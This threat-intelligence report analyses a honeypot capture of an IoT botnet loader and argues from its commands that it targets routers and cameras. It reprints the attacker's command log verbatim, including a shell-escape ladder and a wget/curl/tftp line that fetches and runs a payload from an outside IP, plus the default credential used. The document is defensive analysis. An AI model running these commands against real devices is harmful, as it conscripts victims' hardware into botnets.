The Target Was Never a Server: Reading the Nexus Loader's Device Fingerprint

TI-2026-083B · The Loader's Trail, Part B Confidence: HIGH — the command grammar is directly observed in a single honeypot session; the device-class mapping is labelled inferred analysis of a well-documented IoT-CLI-escape pattern. Classification: TLP:WHITE

The question Part A left open

Part A captured a complete Nexus loader chain end-to-end: a burned brute-force node on Interserver (85.239.151.41, AbuseIPDB 100) logged into our SSH honeypot with admin:admin, ran a textbook IoT-botnet routine, and pulled a multi-architecture payload staged on address space routed through the same CDNEXT/Datacamp network we mapped across series 077, The Laundered Vector. Part A answered what happened and where the payload hid.

It did not answer the more interesting question: what was the loader aiming at?

A honeypot is a mirror. The intruder does not know it is talking to a sensor — it believes it has found a real machine and behaves exactly as it would against the genuine article. So the shape of what it does next is a confession. Read the sixty-two seconds of session 55437d2e6e97 closely and the loader tells you, in the grammar of its own commands, precisely what kind of box it thinks it is standing on.

It is not a server. It was never a server.

Sixty-two seconds, seven commands

Here is the full command log, unedited, in the order and at the sub-second timing the honeypot recorded on 2026-03-27:

09:16:41.700   enable
09:16:41.816   system
09:16:41.820   shell
09:16:41.823   sh
09:16:41.826   linuxshell
09:16:41.837   cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai
09:16:42.042   rm -rf shr; wget http://202.155.10.112/shr || curl -O http://202.155.10.112/shr
               || tftp 202.155.10.112 -c get shr || tftp -g -r shr 202.155.10.112;
               chmod 777 shr; ./shr ssh; rm -rf shr

Five of those seven commands are fired in the first 126 milliseconds after login. No human types enable, system, shell, sh, linuxshell in that order in an eighth of a second. This is a script, and every token in it is a choice. The choices are the fingerprint.

The escape ladder: verbs that mean nothing on a server

Log into a Linux server over SSH and you are already in a shell. There is nothing to escape. Typing enable returns command not found; linuxshell returns command not found; system returns command not found. On a server, four of the first five commands are pure error output.

They are not errors on an embedded appliance. They are the keys.

Consumer routers, GPON/EPON fiber ONTs, and DVR/NVR surveillance recorders almost never drop you into a raw shell when you log in. They present a locked, vendor-written menu-CLI — a restricted interface with a handful of allowed verbs and no /bin/sh in sight. To do anything useful an intruder has to break out of that menu into the BusyBox underneath. Each device family uses a different escape keyword, and the loader does not know which family answered. So it fires the whole ring of keys at the one lock:

This is a shotgun of escape verbs. The operator has automated the uncertainty away: rather than fingerprint the device first and pick the right key, it tries every key it has ever seen work, in a burst, and proceeds the instant one drops it to a prompt. That design only makes sense if the expected target is a heterogeneous fleet of embedded appliances with restricted CLIs — the exact population Mirai-lineage botnets have farmed since 2016. A server needs no such ladder. The presence of the ladder is the tell.

Documented vs inferred. The five verbs, their order, and their timing are documented — they are in the honeypot's command log verbatim. The mapping of each verb to the appliance families whose firmware uses it is inferred analyst knowledge of a well-known IoT-CLI-escape pattern; it is not a claim that a specific named device was the victim. The distinction matters, and we hold it.

The writability probe: a read-only-root reflex

The sixth command:

cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai

Write a marker file, read it back, delete it. It is a writability test for /tmp, and it is the second embedded tell in a row.

On a server, /tmp is writable; testing it is wasted effort. On embedded firmware it is a live question. A huge fraction of router/IoT images ship a read-only squashfs root with only a small tmpfs mounted somewhere writable — sometimes /tmp, sometimes /var/run, sometimes /dev. A loader that intends to drop a binary has to find the writable ground first or the whole infection fails at chmod. The probe is the reflex of malware written for read-only-root devices.

And note the marker string: senpai. This is the family signature — a known Mirai/Gafgyt-lineage variant token — the same word that names the loader chain itself. The malware is, in effect, signing the probe.

The fetch cascade: built for a userland with almost nothing in it

The seventh command stages the payload:

wget http://202.155.10.112/shr || curl -O ... || tftp ... -c get shr || tftp -g -r shr ...

Four transports, tried in sequence, first success wins. Why four? Because on a stripped embedded userland you cannot assume any particular download tool is present. Many BusyBox router images have wget but not curl; some DVRs have only tftp; a few have an oddly-built tftp that needs the -g -r form rather than -c get. The cascade is insurance against minimalism — it optimises for the smallest, most incomplete userlands on the internet, which are embedded ones.

tftp in particular is the giveaway. A general-purpose Linux server almost never has a tftp client on its PATH; a router or a camera frequently does. A loader that lists TFTP as a fallback is planning for hardware, not for hosts.

The trailing ./shr ssh hands the stager an argument naming the vector that conscripted this node — ssh — so the botnet's own accounting knows how the box was taken.

The payload spray: compiled for CPUs that servers do not use

Part A decoded the shr stager (sha256 853f57f1…): it sets binname="nexus", output="sshd", and loops fetching nexus. across fourteen CPU architectures. Line them up by where those chips actually live:

The list is embedded-first. The architectures that dominate it — MIPS, the ARM variants, SuperH, ARC — are the silicon of routers, cameras and IoT. The two architectures a server actually runs, x86 and x86_64, sit at the back of the loop as an afterthought. Nobody compiles a payload for SuperH and Synopsys ARC to catch servers. You compile for SH4 and ARC because you are hunting set-top boxes and microcontrollers, and you throw in x86 last because it costs nothing to also catch the occasional misconfigured PC.

Each fetched binary is chmod 777'd and written out as sshd — the masquerade names it after the very daemon whose weak login let it in, so it hides in plain sight in a process list.

Steelman: could it just be hitting everything?

The honest counter-narrative: maybe a lazy Mirai fork fires this ladder at every host it touches, embedded or not, and the "target is embedded" reading is over-interpretation. We tested it, and it does not survive.

• The verbs are not random. They are the specific, ordered vendor-escape grammar enable→system→shell→sh→linuxshell, not a generic command sweep like uname; id; cat /proc/cpuinfo. Order and specificity are design.
• The writability probe only makes sense against read-only-root firmware. On a server it is dead code.
• The architecture spray is dominated by CPUs with no server presence. SuperH, ARC, SPARC, MIPS.

Any one of these could be coincidence. Together they are a single, consistent, single-purpose fingerprint of internet-facing embedded networking and surveillance hardware. The counter-narrative does preserve one true residue, and we keep it: the same loader will still infect a misconfigured x86 box if it answers admin:admin. The embedded focus is the design intent, not an exclusive filter. The loader would happily take a server; it just wasn't built for one.

The load-bearing wall: a factory password

Strip everything else away and the entire scheme rests on one fact. None of the ladder, the probe, or the fourteen-way spray runs unless the box first answers admin:admin. The victim population is not defined by a CVE, a zero-day, or an exploit chain. It is defined by a factory default credential that survived deployment.

That is why this is durable. Exploits get patched; defaults do not get un-shipped. As long as routers, ONTs and cameras reach end users with admin:admin still live and a restricted CLI that a five-verb ladder can pry open, a commodity operator with a rented brute-force node and a CDN-laundered stager can keep conscripting fresh hardware indefinitely — with zero exploit development. The loader's whole intelligence is spent not on breaking in, but on guessing which kind of appliance it broke into.

Where this sits in The Loader's Trail

Part A caught the Nexus chain and mapped its infrastructure. Part B read its aim. The honeypot has caught other loaders on the same trail, and the map is worth stating so the picture is complete without re-litigating analysis already published:

• Whisper — an ARM-only IoT bot (whisper.armv5, whisper.armv6) staged from 31.170.22.205 (Sia Nano IT, Latvia), dissected in TI-2026-052B, The Download Chain. ARM-only compilation is the same embedded-target logic, narrowed to one silicon family.
• RedTail — an XMRig-based Monero miner delivered as multi-arch binaries, catalogued in TI-2026-076A, The Default Password. Same default-credential foothold, different terminal payload: mining, not DDoS conscription.
• The kswapd0 miner — the single most common terminal payload of the access tools, mapped across the 052 Malware Graph series.

The Nexus capture is the one that let us read the intrusion grammar cleanly, because it unfolded the full embedded-device ladder against a sensor that played dead and let it finish. The lesson generalises to the whole trail: the loader's target is written in the shape of its commands. Learn to read the grammar and you do not need the payload to know what it was hunting.

Findings

1. The intrusion grammar fingerprints an embedded appliance, not a server. (HIGH) — the enable→system→shell→sh→linuxshell ladder is inert on a server and load-bearing on a restricted-CLI device.
2. The /tmp writability probe betrays read-only-root firmware as the assumption. (HIGH)
3. The 14-architecture spray is embedded-first; x86 is an afterthought. (HIGH) — SuperH, ARC, SPARC, MIPS have no server base.
4. The multi-transport fetch cascade is tuned for minimal BusyBox userlands. (MEDIUM) — TFTP is an embedded tell.
5. The default credential is the load-bearing wall of the whole scheme. (HIGH) — no CVE required; a factory password that outlived deployment.

Cross-references

• TI-2026-083A — The Senpai Loader — the capture this part reads.
• TI-2026-077A — The Laundered Vector — the CDNEXT/Datacamp network the payload stages on.
• TI-2026-052B — The Download Chain and TI-2026-076A — The Default Password — kin loaders on the same trail.

The loader never said what it wanted. It didn't have to. It fired five keys at a lock that only exists on a router, tested ground that is only read-only on a camera, and compiled for chips that only ship in appliances. The target was never a server. The commands said so.